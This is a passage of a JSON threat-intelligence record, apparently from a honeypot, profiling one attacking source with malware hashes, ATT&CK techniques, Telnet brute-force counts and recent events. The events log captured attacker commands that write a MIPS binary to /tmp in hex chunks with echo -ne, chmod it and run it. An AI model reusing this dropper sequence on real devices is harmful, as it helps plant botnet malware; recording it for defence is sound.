af1ac4b99710607be6ab1a4ce33c6e2214f34f3","name":"update.mipsel","size":45888,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"b47790cdfba1bf55c4971acf5432ac5f83eaf111bd2b8e81c3ecb4d73aa532d2","name":"update.mipsel","size":45856,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"123d6f1bd569cf5a629b1b07ddea4a34a1b8217514edda4ad2bd92a2286675bc","name":"update.mipsel","size":45824,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"ba172a8b7e9ceab0023a764f8500852511a78c0b039914f8f42dd83b764741a8","name":"update.mipsel","size":45792,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"6f1a26b9f48e0a3ef97902514edd0ec6cb55595706496b55317c4ccb09820134","name":"update.mipsel","size":45760,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"967c63fa57cdfd4eb2365f08fd5edc3c00a13f5c1846056d3f491fd101c43d68","name":"update.mipsel","size":45728,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"663775f93993ea77b7ebd47964277dc16b83dfdff9d27ddf1b763ba0c14483fb","name":"update.mipsel","size":45696,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"fd149239b27680819d9c8dbe5aa922d6d186d65b4000bd551aac7edd5efc5928","name":"update.mipsel","size":45664,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"e6b79ca9e7b477c4cce5038e012fedff46b5e274923505644a52f5618ad6a560","name":"update.mipsel","size":45632,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"ec38735f28fef110bce259500d23027c57a54955b03bb161cc4a903a2ea90cb7","name":"update.mipsel","size":45600,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"aae35730cc386f1ad12d67197ccb0817a759715d9b387dde9bfa6ec4fe730cf3","name":"update.mipsel","size":45568,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"9cb6b31849e0876607f1b6845065854a3668db9313027c36b77322b37d5eed71","name":"update.mipsel","size":45536,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"b2f8e510254331f717ebbdf59afb97f349454c387e4768842e9856d6ecae15f9","name":"update.mipsel","size":45504,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"d4f2ae97abcfb6ae146a4a1285c015724f93bec013e4807e46140a9f6b27f03a","name":"update.mipsel","size":45472,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"19104d64e2475a4ed9ab073d88a9126be2431a42aaa0c89d916a20adc18cf23d","name":"update.mipsel","size":45440,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:13","virustotal":null},{"sha256":"0ac72a78c045ea60799bc742cac31ead8820371a42c035d684ef221009b60320","name":"update.mipsel","size":45408,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:13","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":2},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":29},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":29},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":52},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":6}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":75},{"port":8088,"proto":"tcp","label":"Hadoop","count":3,"sessions":1},{"port":81,"proto":"tcp","label":"","count":2,"sessions":1},{"port":10023,"proto":"tcp","label":"","count":0,"sessions":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b10cun090_1005003f_b2117aad","b11cun000_00000000_334359b9"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cun000_00000000_334359b9":82,"b10cun090_1005003f_b2117aad":4},"akin_families":{"b11cun000_00000000_334359b9":{"head":"b11cun000_00000000_334359b9","shapes":2,"ips":82}},"user_agents":["Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"],"timeline":[{"date":"2026-10-18","count":0,"sessions":1},{"date":"2026-10-19","count":0,"sessions":1},{"date":"2026-10-20","count":2,"sessions":1},{"date":"2026-10-21","count":3,"sessions":1},{"date":"2026-10-22","count":0,"sessions":3},{"date":"2026-10-23","count":0,"sessions":12},{"date":"2026-10-24","count":0,"sessions":4},{"date":"2026-10-25","count":0,"sessions":40},{"date":"2026-10-26","count":0,"sessions":17}],"recent_events":[{"timestamp":"2026-10-26T00:39:57","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /tmp; ./update.mips telnet 2>&1","payload_hex":"6364202f746d703b202e2f7570646174652e6d6970732074656c6e657420323e2631","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5795","seq":5795,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b06c750205272126","strings":["cd /tmp; ./update.mips telnet 2>&1"],"iocs":{"domains":["update.mips"]}},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"chmod 777 update.mips 2>&1","payload_hex":"63686d6f6420373737207570646174652e6d69707320323e2631","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5793","seq":5793,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5422c8b6042890da","strings":["chmod 777 update.mips 2>&1"],"iocs":{"domains":["update.mips"]}},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x67\\x70\\x72\\x6f\\x63\\x6d\\x61\\x73\\x6b\\x00\" >> update.mips","payload_hex":"6563686f202d6e6520225c7836375c7837305c7837325c7836665c7836335c7836645c7836315c7837335c7836625c78303022203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5791","seq":5791,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"963a89f18672d9bc","strings":["echo -ne \"\\x67\\x70\\x72\\x6f\\x63\\x6d\\x61\\x73\\x6b\\x00\" >> update.mips"],"iocs":{"domains":["update.mips"]}},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x47\\x49\\x5f\\x73\\x74\\x72\\x6c\\x65\\x6e\\x00\\x5f\\x6c\\x6f\\x61\\x64\\x5f\\x69\\x6e\\x74\\x74\\x79\\x70\\x65\\x00\\x72\\x61\\x69\\x73\\x65\\x00\\x73\\x69\" >> update.mips","payload_hex":"6563686f202d6e6520225c7834375c7834395c7835665c7837335c7837345c7837325c7836635c7836355c7836655c7830305c7835665c7836635c7836665c7836315c7836345c7835665c7836395c7836655c7837345c7837345c7837395c7837305c7836355c7830305c7837325c7836315c7836395c7837335c7836355c7830305c7837335c78363922203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5789","seq":5789,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b270bca416ed0ca0","strings":["echo -ne \"\\x47\\x49\\x5f\\x73\\x74\\x72\\x6c\\x65\\x6e\\x00\\x5f\\x6c\\x6f\\x61\\x64\\x5f\\x69\\x…"]},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x00\\x77\\x63\\x72\\x74\\x6f\\x6d\\x62\\x00\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x00\\x5f\\x5f\" >> update.mips","payload_hex":"6563686f202d6e6520225c7830305c7837375c7836335c7837325c7837345c7836665c7836645c7836325c7830305c7836335c7836635c7836665c7837335c7836355c7830305c7835665c7835665c7836635c7836395c7836325c7836335c7835665c7836335c7836665c7836655c7836655c7836355c7836335c7837345c7830305c7835665c78356622203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5787","seq":5787,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ce99a1700e1ced2f","strings":["echo -ne \"\\x00\\x77\\x63\\x72\\x74\\x6f\\x6d\\x62\\x00\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x5f\\x…"]},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x70\\x65\\x5f\\x74\\x6f\\x6c\\x6f\\x77\\x65\\x72\\x00\\x5f\\x5f\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x5f\\x66\\x72\\x61\\x6d\\x65\\x5f\\x69\\x6e\\x66\\x6f\" >> update.mips","payload_hex":"6563686f202d6e6520225c7837305c7836355c7835665c7837345c7836665c7836635c7836665c7837375c7836355c7837325c7830305c7835665c7835665c7837325c7836355c7836375c7836395c7837335c7837345c7836355c7837325c7835665c7836365c7837325c7836315c7836645c7836355c7835665c7836395c7836655c7836365c78366622203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5785","seq":5785,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"14f7abc9a9438b37","strings":["echo -ne \"\\x70\\x65\\x5f\\x74\\x6f\\x6c\\x6f\\x77\\x65\\x72\\x00\\x5f\\x5f\\x72\\x65\\x67\\x69\\x…"]},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x66\\x62\\x73\\x73\\x00\\x66\\x73\\x65\\x65\\x6b\\x6f\\x36\\x34\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x70\\x72\\x69\\x6e\\x74\\x66\\x00\\x5f\\x5f\\x63\\x74\\x79\" >> update.mips","payload_hex":"6563686f202d6e6520225c7836365c7836325c7837335c7837335c7830305c7836365c7837335c7836355c7836355c7836625c7836665c7833365c7833345c7830305c7835665c7835665c7834375c7834395c7835665c7837335c7837305c7837325c7836395c7836655c7837345c7836365c7830305c7835665c7835665c7836335c7837345c78373922203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5783","seq":5783,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"364f9d662e5ca12e","strings":["echo -ne \"\\x66\\x62\\x73\\x73\\x00\\x66\\x73\\x65\\x65\\x6b\\x6f\\x36\\x34\\x00\\x5f\\x5f\\x47\\x…"]},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x66\\x63\\x6e\\x74\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x61\\x74\\x6f\\x69\\x00\\x5f\" >> update.mips","payload_hex":"6563686f202d6e6520225c7836355c7837325c7837325c7836655c7836665c7835665c7836635c7836665c7836335c7836315c7837345c7836395c7836665c7836655c7830305c7836365c7836335c7836655c7837345c7836635c7830305c7835665c7835665c7834375c7834395c7835665c7836315c7837345c7836665c7836395c7830305c78356622203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5781","seq":5781,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d730eb16b1deb1c1","strings":["echo -ne \"\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x66\\x63\\x…"]},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x6e\\x6c\\x65\\x6e\\x00\\x5f\\x4a\\x76\\x5f\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6c\\x61\\x73\\x73\\x65\\x73\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\" >> update.mips","payload_hex":"6563686f202d6e6520225c7836655c7836635c7836355c7836655c7830305c7835665c7834615c7837365c7835665c7835325c7836355c7836375c7836395c7837335c7837345c7836355c7837325c7834335c7836635c7836315c7837335c7837335c7836355c7837335c7830305c7835665c7835665c7834375c7834395c7835665c7835665c78356622203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5779","seq":5779,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ea4409825125a2dd","strings":["echo -ne \"\\x6e\\x6c\\x65\\x6e\\x00\\x5f\\x4a\\x76\\x5f\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x…"]},"interactive":true},{"timestamp":"2026-10-26T00:39:56","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo -ne \"\\x73\\x32\\x77\\x5f\\x6f\\x00\\x73\\x74\\x72\\x63\\x68\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x61\\x69\\x73\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\" >> update.mips","payload_hex":"6563686f202d6e6520225c7837335c7833325c7837375c7835665c7836665c7830305c7837335c7837345c7837325c7836335c7836385c7837325c7830305c7835665c7835665c7834375c7834395c7835665c7837325c7836315c7836395c7837335c7836355c7830305c7835665c7835665c7834375c7834395c7835665c7837335c7837345c78373222203e3e207570646174652e6d697073","method":"","user_agent":"","ja3":"","session":"1bc083c3-9e9c-410b-a910-497610a42d6c-5777","seq":5777,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ec2c50dbad455157","strings":["echo -ne \"\\x73\\x32\\x77\\x5f\\x6f\\x00\\x73\\x74\\x72\\x63\\x68\\x72\\x00\\x5f\\x5f\\x47\\x49\\x…"]},"interactive":true}],"http_methods":[{"method":"GET","count":7}],"distinct_ports_total":4,"top_paths":[{"path":"/","count":4,"ports":1},{"path":"login.cgi","count":3,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":29},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":29},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":6},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":52}]}